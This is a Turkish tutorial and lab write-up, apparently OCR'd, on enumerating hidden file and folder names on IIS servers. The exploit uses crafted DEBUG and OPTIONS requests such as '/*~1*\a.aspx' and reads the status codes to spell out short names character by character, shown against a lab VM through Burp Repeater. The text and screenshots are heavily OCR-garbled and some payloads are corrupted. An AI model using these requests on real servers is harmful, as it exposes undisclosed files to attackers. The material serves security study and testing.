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a. Windows Short File Name Nedir?

“Windows Short File Name”, diger adiyla “8.3 Dosya Adi” DOS isletim sistemlerinde ve
Windows’un Windows 95 ve Windows NT 3.5 6ncesi versiyonlarinda kullanilan bir dosya adi
kisaltma kuralidir.

“8.3 dosya adi1 kisaltma kural1” uzun dosya isimlerinin “8” karakter isim, “3” karakter uzant1 olacak
sekilde toplamda 11 karakter halinde kisaltilmasina denir. 8.3 dosya kisaltma kurali adin1 dosyalarin
isimlerini kisatirken 8 karakter kullanilmasi ve uzanti icin de 3 karakter kullanilmasi limitlerinden
almaktadir. Kisaltilmis dosya isimlerinin toplamda 11 karakterinden ilk 8 karakterinin 6 karakteri
dosya (veya klasor) adi, sonraki iki karakteri tilde ve arttirma sayisi, son 3 karakteri ise dosya uzanti
karakterleri seklindedir.

Ornegin;
kimkimenededi.aspx
dosyasi icin 8.3 dosya ad1 kisaltma kuralina gére isminin kisaltilmig hali
KIMKIM~1.ASP
seklindedir. Yani ilk 8 karakterden 6 karakter dosya adi, ardindan 2 karakter tilde ve arttirma sayisi,
ve 3 karakter de uzanti. Eger aynm karakterlerle baglayan baska dosya adlar1 da varsa bu durumda

tilde’den sonra kullanilan arttirma sayis1 bir artar. Ornegin su sekildeki bir durumda

kimkimenededi.aspx
kimkimenedediki.aspx

tilde karakterinden sonra kullanilan arttirma sayisi bir arttirilir.

KIMKIM~1.ASP
KIMKIM~2.ASP

Windows sistemlerdeki bu dosya adi kisaltma kurali geriye doniik eski yazilimlarla olan
uyumluluklar saglamak amaciyla uzun dosya isimlerine alternatif olarak Windows’un modern
isletim sistemlerinde halen kullanilmaktadir.



Modern windows isletim sistemlerinde uzun dosya isimlerinde dosyalar olusturup cmd
penceresinde dir /X komutunu ¢aligtirarak bu kurali gézlemleyebiliriz. Ornegin;

Windows CMD:
> dir /X

Volume in drive C has no label.
Volume Serial Number is 8408-D246

Directory of C:\inetpub\wwwroot

08.07.2022  19:29 0 KIMKIM~1.ASP  kimkimenededi.aspx
08.07.2022  19:29 0 KIMKIM~2.ASP  kimkimenedediki.aspx



b. Windows Short File Name Acikhg: Nedir?

Normal sartlarda bir web sunucuda dizin listeleme acik degilse web sunucudaki klasér ve dosya
isimleri sadece web uygulamanin sundugu icerik kadar bilinebilir. Geri kalan web sunucudaki
klasor ve dosya adlari bilinemez. Fakat Windows Short File Name agiklig1 olan bir windows web
sunucuda web uygulama arayiiziinde icerik olarak sunulmayan dosya ve klasér adlart Windows
Short File Name aciklig ile tespit edilebilir. Windows Short File Name agiklig1 bir bilgi ifsasi
acikligidir ve windows web sunucularda dizinler igerisinde bulunan klasér ve dosya adlarinin kisa
adlarini, yani 8.3 dosya adlarini (esas dosya ve klasorler adlarinin kisa hallerini) elde etmeyi saglar.



c. Teori: Windows Short File Name Acikhigi Manuel Nasil Somiiriiliir (Eski Yontem)?

(*) Bilgi:

Bu teori bashginda eski “IIS-ShortFileName-Scanner” tool’unun arkaplanda uyguladigi

metottan bahsedilmistir. Eski tool’un trafigi Burpsuite ile incelenerek eski tool’un

arkaplanda uyguladigi metot elde edilmistir.

i) Windows Short File Name Acikhik Tespiti

Windows Short File Name aciklik tespiti windows web sunucudan
/*~1*\a.aspx

dosyasinin talep edilmesiyle gerceklestirilir. Gonderilecek paket su sablonda olmalhdir:
HTTP Talep Paket Sablonu:

HTTPVERB /*~1*\a.aspx HTTP/1.1
Host: IP_ADDRESS_VEYA_DOMAIN_ADI

Bu sablona gére HTTPVERB yerine;
- DEBUG kullanilirsa;

yanit paketi “404 Not Found” status koduyla déndiigiinde agikligin var
oldugu,

yanit paketi “400 Bad Request” status koduyla déndiigiinde acikligin var
olmadigy,

anlagilir. Diger http verb’lerinin agiklikli web sunucuda davranis sekli tersine miihendislikle
iis short file name scanner aracinin trafigi incelenerek gézlemlenebilir.

Sonug olarak denenen http verb karsiliginda gelen yanit paketinin status koduna bakarak
aciklik var tespiti yapilabilir. Burada agiklikli bir windows web sunucuya bir http verb ile
deneme yapildiginda aciklik tespit edilemeyebilir, fakat bagka bir http verb ile deneme
yapildiginda agiklik tespit edilebilir. Dolayisiyla agiklik tespiti icin tiim http verb lerle
sirayla deneme yapmak gerekir ve donen sonuclari incelemek gerekir. Béylece http
verb’lerinden biriyle aciklik tespit edilerek exploitation agamasina gegilebilir.
ii) Windows Short File Name Acikhigin1 Somiirme
Somiirme adiminda agiklikli windows web sunucuda talep ettigimiz

/*~1*\a.aspx

dosyasinin basina sirasiyla denenecek karakterleri koyariz.

/a*~1*\a.aspx



/b*~1*\a.aspx

Ornegin gonderilecek paketler su sekilde olacaktir;
Somiirme HTTP Talep Paket Sablonu 1:
HTTPVERB /a*~1*\a.aspx HTTP/1.1
Host: IP_ADDRESS_VEYA_DOMAIN_ADI
Somiirme HTTP Talep Paket Sablonu 2:
HTTPVERB /b*~1*\a.aspx HTTP/1.1
Host: IP_ADDRESS_VEYA_DOMAIN_ADI
Somiirme HTTP Talep Paket Sablonu 3:

HTTPVERB /c*~1"a.aspx HTTP/1.1
Host: IP_ADDRESS_VEYA_DOMAIN_ADI

Bu paketlere donen yanit paketlerinin http status code’una bakarak windows web sunucuda
ilgili karakterle baglayan bir dosya veya klasér var mi anlariz. Eger DEBUG verb’i
kullaniliyorsa yanit 403 Forbidden ise girilen karakterde baslayan bir dosya veya klasor yok,
yanit 404 Not Found ise girilen karakterde baglayan bir dosya veya klasor var anlamina
gelir.

Ornegin;

Somiirme HTTP Talep Paketi:

DEBUG /a*~1*\a.aspx HTTP/1.1
Host: IP_ADDRESS_VEYA_DOMAIN_ADI

404 Not Found

Somiirme HTTP Talep Paketi:

DEBUG /b*~1*\a.aspx HTTP/1.1
Host: IP_ADDRESS_VEYA_DOMAIN_ADI

HTTP Yanit:

403 Forbidden



Somiirme HTTP Talep Paketi:

DEBUG /z*~1*\a.aspx HTTP/1.1
Host: IP_ADDRESS_VEYA_DOMAIN_ADI

HTTP Yanut:

403 Forbidden
Yukaridaki paket trafiginde a ile baglayan klasor / dosya var oldugu, diger harflerle baglayan
klasor / dosya var olmadig1 anlasilir.
Daha sonra talep edilen dosya ismi i¢in eklenen ilk karakter béliimiine birincinin ardindan
ikinci, ikinci bulunduktan sonra {iciinct, ticlincii bulunduktan sonra dérdiinctd, ... karakterler
sirasiyla konur ve yanit olarak gelen paketlerin status koduna gére denenen dosya / klasor
isminin var olup olmadig anlasilabilir.

Somiirme HTTP Talep Paketi - 1:

DEBUG /aa*~1*\a.aspx HTTP/1.1
Host: IP_ADDRESS_VEYA_DOMAIN_ADI

HTTP Yanit:

403 Forbidden

Somiirme HTTP Talep Paketi - 2:

DEBUG /ab*~1*\a.aspx HTTP/1.1
Host: IP_ADDRESS_VEYA_DOMAIN_ADI

HTTP Yanit:

404 Not Found

Somiirme HTTP Talep Paketi - X:

DEBUG /as*~1*\a.aspx HTTP/1.1
Host: IP_ ADDRESS_VEYA_DOMAIN_ADI

HTTP Yanit:

403 Forbidden



Goriildiigii gibi ab ile baslayan bir dosya veya klasor ismi var oldugunu goriiyoruz.

Somiirme HTTP Talep Paketi - 1:

DEBUG /aba*~1*\a.aspx HTTP/1.1
Host: IP_ ADDRESS_VEYA_DOMAIN_ADI

HTTP Yanit:

403 Forbidden

Somiirme HTTP Talep Paketi - 2:

DEBUG /abb*~1*\a.aspx HTTP/1.1
Host: IP_ADDRESS_VEYA_DOMAIN_ADI

HTTP Yanit:

403 Forbidden

Somiirme HTTP Talep Paketi - 2:

DEBUG /abc*~1*\a.aspx HTTP/1.1
Host: IP_ ADDRESS_VEYA_DOMAIN_ADI

HTTP Yanit:

404 Not Found

Somiirme HTTP Talep Paketi - X:

DEBUG /abz*~1*\a.aspx HTTP/1.1
Host: IP_ ADDRESS_VEYA_DOMAIN_ADI

HTTP Yanut:

403 Forbidden
Gortiildiigii gibi abc ile baslayan bir dosya veya klasor ismi var oldugunu goriiyoruz. Ne
zaman DEBUG verb’i ile yapilan isteklerde birinci, ikinci, {i¢iinci,.. harf bulunmasina
ragmen bir sonraki karakter olarak tiim karakterler denense bile 404 Not Found yaniti

alamazsak demek ki dosya / klasor kisa adinin sonuna gelmisiz anlamina gelir.

Sonug olarak bu trafik dizisinde kisa dosya / klasoér adinin 8 karakterlik blok kismi elde
edilmis olur.



abc~1

Simdi ilgili dosya isminde uzanti var mi onu kontrol edelim. Bunun i¢in payload’daki ilk
yildiz karakteri kaldirilir ve ikinci yildiz karakteri birakilir. Yani payload su sekli alir:

/abc~1*\a.aspx
Ardindan sirasiyla denenecek karakterler su sekilde eklenir:
// Birinci Karakter
/abc~1.a*\a.aspx
/abc~1.b*\a.aspx
/abc~1.c*\a.aspx
// Tkinci Karakter
/abc~1.aa*\a.aspx
/abc~1.ab*\a.aspx
/abc~1.ac*\a.aspx
// Ugiincii Karakter
/abc~1.aaa\a.aspx

/abc~1.aab\a.aspx
/abc~1.aac\a.aspx

Ornegin bu payload’lan kullandigimizi varsaydigimizda DEBUG verb’i ile gelen status
kod’lar 404 Not Found ise karakter var, 403 Forbidden ise karakter yok anlamina gelecektir.
Somiirme HTTP Talep Paketi - 1:

DEBUG /abc~1.a*\a.aspx HTTP/1.1
Host: IP_ ADDRESS_VEYA_DOMAIN_ADI

HTTP Yanit:

403 Forbidden

Soémiirme HTTP Talep Paketi - 1:

DEBUG /abc~1.b*\a.aspx HTTP/1.1
Host: IP_ADDRESS_VEYA_DOMAIN_ADI

HTTP Yanit:

403 Forbidden



Somiirme HTTP Talep Paketi - 1:

DEBUG /abc~1.x*\a.aspx HTTP/1.1
Host: IP_ ADDRESS_VEYA_DOMAIN_ADI

HTTP Yanit:

404 Not Found

Goriildiigii gibi uzantinin ilk karakteri x imis. Simdi ikinci karakteri arayalim.

Somiirme HTTP Talep Paketi - 1:

DEBUG /abc~1.xa*\a.aspx HTTP/1.1
Host: IP_ADDRESS_VEYA_DOMAIN_ADI

HTTP Yanit:

403 Forbidden

Somiirme HTTP Talep Paketi - 1:

DEBUG /abc~1.xb*\a.aspx HTTP/1.1
Host: IP_ADDRESS_VEYA_DOMAIN_ADI

HTTP Yanit:

403 Forbidden

Somiirme HTTP Talep Paketi - 1:

DEBUG /abc~1.xy*\a.aspx HTTP/1.1
Host: IP_ADDRESS_VEYA_DOMAIN_ADI

HTTP Yanit:

404 Not Found

Goriildiigii gibi uzantinin ikinci karakteri y imis. Simdi tigiincii karakteri arayalim.



// UYARLI:
1/
// 3ncii karakteri ararken ikinci y1ldiz karakteri de kaldirilir.

Somiirme HTTP Talep Paketi - 1:

DEBUG /abc~1.xya\a.aspx HTTP/1.1
Host: IP_ ADDRESS_VEYA_DOMAIN_ADI

HTTP Yanit:

403 Forbidden

Soémiirme HTTP Talep Paketi - 1:

DEBUG /abc~1.xyb\a.aspx HTTP/1.1
Host: IP_ADDRESS_VEYA_DOMAIN_ADI

HTTP Yanit:

403 Forbidden

Soémiirme HTTP Talep Paketi - 1:

DEBUG /abc~1.xyz\a.aspx HTTP/1.1
Host: IP_ ADDRESS_VEYA_DOMAIN_ADI

HTTP Yanit:

404 Not Found

Sonug olarak elde edilen 8.3 kisa dosya ad1 su sekildeymis:

abc~1.xyz



d. Teori: Windows Short File Name Acikhigi Manuel Nasil Somiiriiliir (Yeni Yontem)?

(*) Bilgi:

Bu teori bashginda yeni“IIS-ShortFileName-Scanner” tool’unun arkaplanda uyguladigi

metottan bahsedilmistir. Yeni tool’un trafigi Burpsuite ile incelenerek yeni tool’un

arkaplanda uyguladigi metot elde edilmistir.

i) Windows Short File Name Acikhik Tespiti

Windows Short File Name aciklik tespiti windows web sunucudan
[*¥~1%/~1/.rem

dosyasinin talep edilmesiyle gerceklestirilir. Gonderilecek paket su sablonda olmalhdir:
HTTP Talep Paket Sablonu:

HTTPVERB /*~1%*/~1/rem HTTP/1.1
Host: IP_ADDRESS_VEYA_DOMAIN_ADI

Bu sablona gére HTTPVERB yerine;
- OPTIONS kullanilirsa;

yanit paketi “404 Not Found” status koduyla déndiigiinde agikligin var
oldugu,

yanit paketi “400 Bad Request” status koduyla déndiigiinde acikligin var
olmadigy,

anlagilir. Diger http verb’lerinin agiklikli web sunucuda davranis sekli tersine miihendislikle
iis short file name scanner aracinin trafigi incelenerek gézlemlenebilir.

Sonug olarak denenen http verb karsiliginda gelen yanit paketinin status koduna bakarak
aciklik var tespiti yapilabilir. Burada agiklikli bir windows web sunucuya bir http verb ile
deneme yapildiginda aciklik tespit edilemeyebilir, fakat bagka bir http verb ile deneme
yapildiginda agiklik tespit edilebilir. Dolayisiyla agiklik tespiti icin tiim http verb lerle

sirayla deneme yapmak gerekir ve donen sonuclari incelemek gerekir. Béylece http
verb’lerinden biriyle aciklik tespit edilerek exploitation agamasina gegilebilir.

ii) Windows Short File Name Acikhigin1 Somiirme
Somiirme adiminda agiklikli windows web sunucuda talep ettigimiz
[*~1%/~1/.rem

dosyasinin basina sirasiyla denenecek karakterleri koyariz.

/a*~1*/~1/rem



/b*~1%*/~1/.rem

Ornegin gonderilecek paketler su sekilde olacakur;
Sémiirme HTTP Talep Paket Sablonu 1:
HTTPVERB /a*~1*/~1/rem HTTP/1.1
Host: IP_ADDRESS_VEYA_DOMAIN_ADI
Sémiirme HTTP Talep Paket Sablonu 2:
HTTPVERB /b*~1*/~1/rem HTTP/1.1
Host: IP_ADDRESS_VEYA_DOMAIN_ADI
Somiirme HTTP Talep Paket Sablonu 3:

HTTPVERB /c*~1*/~1/.rem HTTP/1.1
Host: IP_ADDRESS_VEYA_DOMAIN_ADI

Bu paketlere dénen yanit paketlerinin http status code’una bakarak windows web sunucuda

ilgili karakterle baglayan bir dosya veya klasér var m1 anlariz. Ornegin OPTIONS verb’i ile

a karakteri ekleyerek istek yaptigimizda 404 Not Found yanit1 ve z karakteri ekleyerek istek
yaptigimizda 200 OK yanit1 aliyorsak a karakteri ile baglayan dosya veya klasor var,

fakat z harfi ile baslayan dosya veya klasor yok anlamis oluruz.

Ornegin;

Sémiirme HTTP Talep Paketi:

OPTIONS /a*~1%*/~1/.rem HTTP/1.1
Host: IP_ADDRESS_VEYA_DOMAIN_ADI

404 Not Found

Sémiirme HTTP Talep Paketi:

OPTIONS /b*~1%*/~1/rem HTTP/1.1
Host: IP_ADDRESS_VEYA_DOMAIN_ADI

HTTP Yanit:

200 OK



Somiirme HTTP Talep Paketi:

OPTIONS /z*~1%*/~1/rem HTTP/1.1
Host: IP_ADDRESS_VEYA_DOMAIN_ADI

HTTP Yanut:

200 OK
Yukaridaki paket trafiginde a ile baglayan klasor / dosya var oldugu, diger harflerle baglayan
klasor / dosya var olmadig1 anlasilir.
Daha sonra talep edilen dosya ismi i¢in eklenen ilk karakter béliimiine birincinin ardindan
ikinci, ikinci bulunduktan sonra {iciinct, ticlincii bulunduktan sonra dérdiinctd, ... karakterler
sirasiyla konur ve yanit olarak gelen paketlerin status koduna gére denenen dosya / klasor
isminin var olup olmadig anlasilabilir.

Somiirme HTTP Talep Paketi - 1:

OPTIONS /aa*~1%*/~1/.rem HTTP/1.1
Host: IP_ADDRESS_VEYA_DOMAIN_ADI

HTTP Yanit:

200 OK

Somiirme HTTP Talep Paketi - 2:

OPTIONS /ab*~1*/~1/.rem HTTP/1.1
Host: IP_ADDRESS_VEYA_DOMAIN_ADI

HTTP Yanit:

404 Not Found

Sémiirme HTTP Talep Paketi - X:

OPTIONS /az*~1%*/~1/.rem HTTP/1.1
Host: IP_ADDRESS_VEYA_DOMAIN_ADI

HTTP Yanit:

200 OK



Goriildiigii gibi ab ile baslayan bir dosya veya klasor ismi var oldugunu goriiyoruz.

Somiirme HTTP Talep Paketi - 1:

OPTIONS /aba*~1*/~1/.rem HTTP/1.1
Host: IP_ADDRESS_VEYA_DOMAIN_ADI

HTTP Yanit:

200 OK

Somiirme HTTP Talep Paketi - 2:

OPTIONS /abb*~1*/~1/.rem HTTP/1.1
Host: IP_ADDRESS_VEYA_DOMAIN_ADI

HTTP Yanit:

200 OK

Somiirme HTTP Talep Paketi - 2:

OPTIONS /abc*~1*/~1/.rem HTTP/1.1
Host: IP_ADDRESS_VEYA_DOMAIN_ADI

HTTP Yanit:

404 Not Found

Somiirme HTTP Talep Paketi - X:

OPTIONS /abz*~1*/~1/.rem HTTP/1.1
Host: IP_ADDRESS_VEYA_DOMAIN_ADI

HTTP Yanut:

200 OK
Goriildiigii gibi abc ile baslayan bir dosya veya klasor ismi var oldugunu goriiyoruz. Ne
zaman OPTIONS verb’i ile yapilan isteklerde birinci, ikinci, ti¢linct,.. harf bulunmasina

ragmen bir sonraki karakter olarak tiim karakterler denense bile 404 Not Found yaniti
alamazsak demek ki dosya / klasoér kisa adinin sonuna gelmisiz anlamina gelir.



Sonug olarak bu trafik dizisinde kisa dosya / klasoér adinin 8 karakterlik blok kismi elde
edilmis olur.

abc~1

Simdi ilgili dosya isminde uzanti var m1 onu kontrol edelim. Bunun i¢in payload’daki ilk
yildiz karakteri kaldirilir ve ikinci yildiz karakteri birakilir. Yani payload su sekli alir:

abc~1*/~1/.rem
Ardindan sirasiyla denenecek karakterler su sekilde eklenir:
// Birinci Karakter
/abc~1.a*\a.aspx
/abc~1.b*\a.aspx
/abc~1.c*\a.aspx
// Tkinci Karakter
/abc~1.aa*\a.aspx
/abc~1.ab*\a.aspx
/abc~1.ac*\a.aspx
// Ugiincii Karakter
/abc~1.aaa\a.aspx

/abc~1.aab\a.aspx
/abc~1.aac\a.aspx

Ornegin bu payload’lan kullandigimiza varsaydigimizda OPTIONS verb’i ile gelen status
kod’lar 404 Not Found ise karakter var, 200 OK ise karakter yok anlamina gelecektir.
Somiirme HTTP Talep Paketi - 1:

OPTIONS /abc~1.a*/~1/.rem HTTP/1.1
Host: IP_ADDRESS_VEYA_DOMAIN_ADI

HTTP Yanit:

200 OK

Somiirme HTTP Talep Paketi - 1:

OPTIONS /abc~1.b*/~1/rem HTTP/1.1
Host: IP_ADDRESS_VEYA_DOMAIN_ADI

HTTP Yanit:



200 OK

Somiirme HTTP Talep Paketi - 1:

OPTIONS /abc~1.x*/~1/.rem HTTP/1.1
Host: IP_ADDRESS_VEYA_DOMAIN_ADI

HTTP Yanit:

404 Not Found

Goriildiigii gibi uzantinin ilk karakteri x imis. Simdi ikinci karakteri arayalim.

Somiirme HTTP Talep Paketi - 1:

OPTIONS /abc~1.xa*/~1/rem HTTP/1.1
Host: IP_ADDRESS_VEYA_DOMAIN_ADI

HTTP Yanit:

200 OK

Somiirme HTTP Talep Paketi - 1:

OPTIONS /abc~1.xb*/~1/.rem HTTP/1.1
Host: IP_ADDRESS_VEYA_DOMAIN_ADI

HTTP Yanit:

200 OK

Somiirme HTTP Talep Paketi - 1:

OPTIONS /abc~1.xy*/~1/rem HTTP/1.1
Host: IP_ADDRESS_VEYA_DOMAIN_ADI

HTTP Yanit:

404 Not Found

Goriildiigii gibi uzantinin ikinci karakteri y imis. Simdi tigiincii karakteri arayalim.



// UYARI:
/1
// 3ncii karakteri ararken ikinci y1ldiz karakteri de kaldirilir.

Somiirme HTTP Talep Paketi - 1:

OPTIONS /abc~1.xya*/~1/.rem HTTP/1.1
Host: IP_ADDRESS_VEYA_DOMAIN_ADI

HTTP Yanit:

200 OK

Somiirme HTTP Talep Paketi - 1:

OPTIONS /abc~1.xyb*/~1/.rem HTTP/1.1
Host: IP_ADDRESS_VEYA_DOMAIN_ADI

HTTP Yanit:

200 OK

Somiirme HTTP Talep Paketi - 1:

OPTIONS /abc~1.xyz*/~1/.rem HTTP/1.1
Host: IP_ADDRESS_VEYA_DOMAIN_ADI

HTTP Yanit:

404 Not Found

Sonug olarak elde edilen 8.3 kisa dosya ad1 su sekildeymis:

abc~1.xyz



e. Uygulama: Windows Short File Name Ac¢ikligi Manuel Somiirme (Eski Yontem)

(+) Birebir denenmistir ve basarili olunmusgtur.

Gereksinimler
Short File Name Vuln Scanner - Windows 10 VM // Saldirgan VM
Burpsuite // Saldirgan Tool

Windows Short File Name Vulnerability - Windows Server 2016 // Hedef Web Sunucu
Uyari:

Bu uygulamada “Eski I1S-ShortFileName-Scanner Tool”unun uyguladigi metot
uygulanmigtir (bkz. IIS Short Name Scanner, versiyon 2.3.9). Eski IIS short file name
scanner tool’unun trafigi burpsuite ile incelenerek manuel yéntem elde edilmistir.

Uyar 2:

Eski Short File Name Scanner tool’u Windows Short File Name Vulnerability - Windows
Server 2016 VM’de masaiistiinde mevcuttur. Eski tool’un kullandigi paket sablonu

Burpsuite ile repeater’dan génderilerek ilerleyen satirlarda gosterildigi gibi sonuglar elde
edilir.

Windows Short File Name giivenlik aciklikli bir windows web sunucuya 6zel http talebi
yapildiginda dénen yanit paketinin http status koduna gére hedef windows web sunucuda windows
short file name acikliginin var olup olmadig1 anlasilabilir. Ardindan yine 6zel http talepleri ile
donen yanitlarin status koduna gore denenen dosya / klasér isminin hedef web sunucuda var olup
olmadig: anlasilabilir.

Hedef vulnerable web sunucuda (“Windows Short File Name Vulnerability - Windows Server
2016” VM’de) web dizininde su dosya ve klasorler yer almaktadir:

File Machine View Input Devices Help

& < | wwwroot - x|~
m Girig Paylas Garanam [|
- v » Bu bilgisayar » Yerel Disk (C:) » inetpub » wwwroot v O Ara: wwwroot »p
~
Ad Degistirme tarihi Tar Boyut
# Hizh erigim
aspnet_client Dosya klasoru
I Masaiisti pret :
. deneme Dosya klasara
‘ Indirilenter tuzlucayir Dosya klasora
|5 Belgeler 2 iisstart.htm HTML Belgesi 1 KB
| Resimler R jisstart.png PNG resmi 93 KB
paylasim 7 kimkimenededi.aspx ASPX Dosyasi 0 KB
tuzlucayir " kimkimenedediki.aspx ASPX Dosyast 0KB
wwwroot || web.cenfig CONFIG Dosyasi 1KB
3 Bu bilgisayar
& A

Bu baslikta Burpsuite ile manuel expoitation yapilacaktir. Yani Burpsuite ile hedef web sunucunun
short file name acikligina sahip olup olmadig: tespiti elle yapilacaktir ve yine burpsuite ile hedef
web sunucu dizinindeki bir dosyanin 8.3. formath kisa ismi elle nasil elde edilir gosterilecektir.



i) Windows Short File Name Acikhik Tespiti

Burspuite ile hedef web sunucuda iis short file name agiklig1 var m1 tespit edelim. Bunun
icin DEBUG talebimizde kullanilacak payload su sekildedir:

/*~1*\ a.aspx
Simdi DEBUG talep paketi yollayalim.
Burpsuite - Repeater - Aciklik Tespit HTTP Talep Paketi:

DEBUG /*~1*\a.aspx HTTP/1.1
Host: VULN_WINDOWS_SERVER

Cikti:
404 Not Found
o= =
Request Response
Raw Hex \n = Pratty Raw Hex Render n =
1 DEBUG /*~1*'.a_aspx HTTP/Ll.1 1 HTTP/1.1 404 HNot Found
—_—
2 Accept-Encoding: gzip, deflate, br 2 Cache-Control: private
3 Host: 15CZ.1E8_56.10% 3 Content-Type: texts/html; charset=uci-3
4 User—-Agent: Mozilla/5.0 (Windows NT 10.0; 4 Server: Microsoft-IIS/10.0
Win£4; xE4; rv:105.0) Gecko/ /20100101 5 H-Powered-By: ASP_NET
Firefox/110.0 € Date: Mon, 13 Nov ZOZ3 13:00:43 CGHMT

5 Commection: close 7 Connection: close
© Content-Length: 4938

10 <!DOCTYPE html PUELIC "-//W3C//DTD XHTML 1.0

Goriildiigii gibi DEBUG talebi ile /*~1*\a.aspx dosyasi icin talep gonderildiginde 400 Bad
Request yerine 404 Not Found yaniti geldi. Yani hedef web sunucu vulnerable’dir.
ii) Windows Short File Name Acikhigin1 Somiirme
Simdi hedef web sunucuda bir dosya adi elde edelim. Bunun igin;
/*~1*\a.aspx
payload’una sirasiyla denenecek karakterleri koyalim.
Burpsuite - Repeater - Sémiirme HTTP Talep Paketi:
Uyari:
/a*~1*\a.aspx ile, yani a karakteri ile denemelere baglanmadi, ¢iinkii hedef
web sunucuda aspnet klasorti var ve bu klasériin adini degil de bagska bir

dosyanin adini elde etmek i¢in a karakteri pas gegildi.

DEBUG /b*~1*\a.aspx HTTP/1.1
Host: VULN_WINDOWS_SERVER



HTTP Yanit:

403 Forbidden

Request Response
Pretty Raw Hex n = Pretty Raw Hex Rende n =
1 DEEUG /b*~1*'a.aspx HTTP/1l.1 1 HTTP/1l.1 403 Forbidden
2 Mpf—ﬂncoalng: gzip, deflate, br 2 server: Microsoft-IIS5/10.0
2 Host: 182.1E88_58.109 2 H-Powered-By: ASP_NET
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; 4 Date: Wed, 15 Nov IZ0IZ3 05:10:45 GMT
Wing4d; x&4; rv:10%.0) Gecko/Z01l00101 S Connection: close

Firefox/110.0
Connection: close
€ 2 /hb*~1*fa aspx uygulama hata ayiklamasi etkin
dedil.

- Content-Length: 54

w

Burpsuite - Repeater - Somiirme HTTP Talep Paketi:

DEBUG /c*~1*\a.aspx HTTP/1.1
Host: VULN_WINDOWS_SERVER

HTTP Yanit:

403 Forbidden

Request Response

Pretty Raw Hex n = Pretty Raw Hex Rende n
1 DEEUG ,"c"'vl"‘.a.as])x HTTP/1l.1 1 HTTP/1l.1l 403 Forbidden

2 Accept-Encoding: gzip, deflate, br 2 nerver: Microsoft-IIS/10.0

2 Host: 192.168.5E.109 2 H-Powered-By: ASP_NET

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; 4 Date: Wed, 15 Now 2023 05:11:53 GHMT

WinE4; x€4; rv:109.0) Gecko,sZ0100101
Firefox/110.0
S Connection: close

Connection: close
Content-Length: 54

w

2 fe*~l*fa aspx uygulama hata ayiklamasi etkin
7 dedil.

Burpsuite - Repeater - Somiirme HTTP Talep Paketi:

DEBUG /k*~1*\a.aspx HTTP/1.1
Host: VULN_WINDOWS_SERVER

HTTP Yanit:

404 Not Found



Request

W

w

Pretty Raw

Hex n

DEEUG :‘k"'vl"‘-a.asnx HTTP/1.1
Accept-Encoding: gzip, deflate, br
Host: 159I2.1£8.5&.1085

User-Agent:
Wing4; x=&4;

Mozilla/5.0 (Windows NT 10.0;
rw:1059.0) Gecko/IZ0100101

Firefox/110.0

Connection:

close

Response

Pretty Raw Hex Render n =

HITE/1 1 404 MNot Found

Cache-Control: private

Content-Type: text/html; charset=utf-g
Server: Microsoft-IIS/l0.0
H-Powered-By: ASP_NET

Date: Wed, 15 Now 2023 05:12:03 GMT
Connection: close

2 Content-Length: 4540

W

Vo

10 <!DOCTYPE html PUEBLIC "-//W3C//DTD XHTML 1.0

Ik karakter “k” imis. Siradaki karakteri tespit edelim.

Burpsuite - Repeater - Somiirme HTTP Talep Paketi:

DEBUG /ka*~1*\a.aspx HTTP/1.1

Host: VULN_WINDOWS_SERVER

HTTP Yanit:

403 Forbidden

Request

Raw

Hex n

DEEUG /ka*~1*'a_ aspx HTTP/1l.1
xccept—!ncoalng: gzip, deflate, br
Host: 152.168.56.109

User-Agent:
Wing4; =xE4;

Mozilla/5.0 (Windows NT 10.0;
rw:l05.0) Gecko/IZ0l00101

Firefox/110.0

Connection:

close

Response

Pretty Raw Hex Rende no =
HTTP/1l.1 402 Forbidden

Server: Microsoft-II5/10.0

H-Powered-By: ASP._NET

Date: Wed, 15 Nov 20232 05:12:03 GMT

Connection: close
Content-Length: 55

W T

i

2 Jka*~1*fa_aspx uygulama hata ayiklamasi etkin
degil.

Burpsuite - Repeater - Somiirme HTTP Talep Paketi:

DEBUG /kb*~1*\a.aspx HTTP/1.1

Host: VULN_WINDOWS_SERVER

HTTP Yanit:

403 Forbidden

W

w

Request

etty Raw

Hex n

DEBUG /kb*~1*'a._ aspx HTTP/1l.1
mp, deflate, br

Host: 152.168.56.10%9

User-Agent: Mozilla/5.0 (Windows NT 10.0;

Wing4; x=&4;

rv:10%.0) Gecko/Z0100101

Firefox/110.0

Connection:

close

Response

Raw Hex Rende n =
1 HTTP/1.1 402 Forhidden

2 Server: Microsoft-IIS/l0.0

2 H-Powered-By: ASP NET

4 Date: Wed, 15 Nov Z0IZ3 05:12:21 GMT

5 Connection: close

Content-Length: 55

2 fEb*~1*/a_aspx uygulama hata ayiklamasi etkin
dedil.



Burpsuite - Repeater - Sémiirme HTTP Talep Paketi:

DEBUG /ki*~1*\a.aspx HTTP/1.1
Host: VULN_WINDOWS_SERVER

HTTP Yanit:

404 Not Found

= =
Request Response m

Raw Hex n = Pretty Raw Hex Render n =

1 DEBUG /ki*~1*\.a.aspx HTTP/1.1 HTTP/1.1 404 Not Found

> Kccept-Encoding: gaip, deflate, br 2 Tathe-Comtrol:. privace

3 Host: 1592.1&8.56.109 Content-Type: text/html; charset=utf-8
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; 4 Server: Microsoft-IIS/10.0

Wing4; xe4; rv:109.0) Gecko/IZ0l00l01 5 X-Powered-By: ASP.NET

Firefox/110.0 & Date: Wed, 15 MNow 2023 05:12:32 GMT
Connection: close 7 Connection: close

2 Content-Length: 4542

w

Vo

Ikinci karakter “i” imis. Bu sekilde karakterleri sirasiyla tespit ederek su elde edilecektir:
Burpsuite - Repeater - Soémiirme HTTP Talep Paketi:

DEBUG /kimkim*~1*\a.aspx HTTP/1.1
Host: VULN_WINDOWS_SERVER

HTTP Yanit:

404 Not Found

0= =
Request Response

y Raw Hex n = Pretty Raw Hex Render \n
1 DEBUG /kimkim*~1*'a.aspx HTTP/L.1
Accept-Encoding: gzip, deflate, br 2 m
Host: 192.1E88_56.10%9 2 Content-Type: text/html; charset=utf-&
User-Agent: Mozilla/5.0 (Windows NT 10.0; 4 Server: Microsoft-IIS/l0.0
Wingd; xE4; rv:105.0) Gecko/Z0100101 ¥-Powered-By: ASP_NET
Firefox/110.0 Date: Wed, 15 MNov 022 05:12:53 GMT
Connection: close Connection: close

£ 2 Content-Length: 4550

10 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0

1 HTTP/1l.1 404 Not Found

W

o

o

Simdi dosyanin varsa uzantisini elde edelim.

